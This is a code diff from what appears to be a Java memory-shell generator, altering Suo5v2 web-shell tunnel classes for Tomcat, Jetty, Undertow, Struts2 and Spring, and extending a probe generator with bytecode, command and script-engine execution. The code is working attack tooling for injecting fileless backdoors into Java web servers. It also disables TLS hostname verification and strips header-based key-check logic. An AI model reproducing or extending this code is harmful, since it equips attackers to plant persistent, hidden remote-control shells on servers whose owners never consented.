-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java

@@ -167,7 +167,11 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = resp.getOutputStream();
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -993,109 +997,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java

@@ -179,7 +179,11 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = resp.getOutputStream();
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -1005,109 +1009,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java

@@ -216,7 +216,11 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
             }
         } catch (Throwable ignored) {
         } finally {
-
+            try {
+                OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
+                out.flush();
+                out.close();
+            } catch (Throwable ignore) {}
         }
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java

@@ -178,7 +178,11 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -1004,109 +1008,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java

@@ -173,7 +173,11 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = resp.getOutputStream();
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -999,109 +1003,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java

@@ -161,7 +161,11 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = resp.getOutputStream();
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -987,109 +991,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java

@@ -164,7 +164,11 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = resp.getOutputStream();
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -990,109 +994,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java

@@ -164,7 +164,11 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -990,109 +994,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java

@@ -167,7 +167,11 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = resp.getOutputStream();
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -993,109 +997,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
-                values.add(keyValue[1].trim());
-            }
-        }
-
-        return values;
-    }
-
     public boolean verify(String hostname, SSLSession session) {
         return true;
     }

generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java

@@ -8,8 +8,14 @@ public enum ProbeContent {
     Server,
     OS,
     JDK,
+    // 字节码执行
     Bytecode,
+    // 命令执行
     Command,
+    // 基础信息
     BasicInfo,
-    ScriptEngine
+    // 脚本引擎执行
+    ScriptEngine,
+    // Filter 配置
+    Filter
 }

generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java

@@ -3,6 +3,7 @@ package com.reajason.javaweb.probe.config;
 import com.reajason.javaweb.utils.CommonUtil;
 import lombok.Builder;
 import lombok.Getter;
+import lombok.Setter;
 import lombok.ToString;
 import lombok.experimental.SuperBuilder;
 import org.apache.commons.lang3.StringUtils;
@@ -26,10 +27,11 @@ public class ResponseBodyConfig extends ProbeContentConfig {
     /**
      * 内置执行类加载的字节码
      */
+    @Setter
     private String base64Bytes;
 
     /**
-     * 命令执行模板，例如 sh -c "{command}" 2>&1，使用 {command} 作为占位符
+     * 命令执行模板，使用 {command} 作为占位符
      */
     private String commandTemplate;
 

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

@@ -10,6 +10,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
 import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
 import com.reajason.javaweb.probe.payload.ByteCodeProbe;
 import com.reajason.javaweb.probe.payload.CommandProbe;
+import com.reajason.javaweb.probe.payload.FilterProbeFactory;
 import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
 import com.reajason.javaweb.probe.payload.response.*;
 import com.reajason.javaweb.utils.ShellCommonUtil;
@@ -18,7 +19,6 @@ import net.bytebuddy.asm.Advice;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
 import org.apache.commons.lang3.StringUtils;
-import org.eclipse.jetty.server.Request;
 
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
@@ -38,11 +38,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
 
     @Override
     protected DynamicType.Builder<?> build(ByteBuddy buddy) {
-        String name = probeContentConfig.getReqParamName();
         Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
-        if (Server.Jetty.equals(probeContentConfig.getServer())) {
+        String server = probeContentConfig.getServer();
+        if (Server.Jetty.equals(server)) {
             getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
         }
+        if (ProbeContent.Filter.equals(probeConfig.getProbeContent())) {
+            probeContentConfig.setBase64Bytes(FilterProbeFactory.getBase64ByServer(server));
+        }
         Class<?> writerClass = getWriterClass();
         Class<?> runnerClass = getRunnerClass();
         DynamicType.Builder<?> builder = buddy.redefine(writerClass)
@@ -53,12 +56,12 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
                                 .to(runnerClass)
                                 .on(named("run")));
         String base64Bytes = probeContentConfig.getBase64Bytes();
-        if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) {
+        if (StringUtils.isNotBlank(base64Bytes)) {
             builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
         } else {
             builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
                             probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
-                    .visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
+                    .visit(Advice.withCustomMapping().bind(ValueAnnotation.class, probeContentConfig.getReqParamName())
                             .to(getDataFromReqInterceptor).on(named("getDataFromReq")));
         }
         return builder;
@@ -69,6 +72,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
             case Command:
